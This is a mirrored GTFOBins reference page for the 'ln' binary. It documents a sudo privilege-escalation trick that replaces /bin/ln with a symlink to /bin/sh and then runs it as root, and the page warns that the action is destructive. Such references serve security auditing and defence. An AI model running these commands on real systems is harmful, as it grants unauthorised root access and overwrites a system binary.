1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-19 02:11:39 +02:00
GTFOBins.github.io/_gtfobins/ln.md

9 lines
318 B
Markdown
Raw Normal View History

2021-07-15 14:23:51 +02:00
---
description: This overrides `ln` itself with a symlink to a shell (or any other executable) that is to be executed as root, useful in case a `sudo` rule allows to only run `ln` by path. Warning, this is a destructive action.
functions:
sudo:
- code: |
sudo ln -fs /bin/sh /bin/ln
sudo ln
---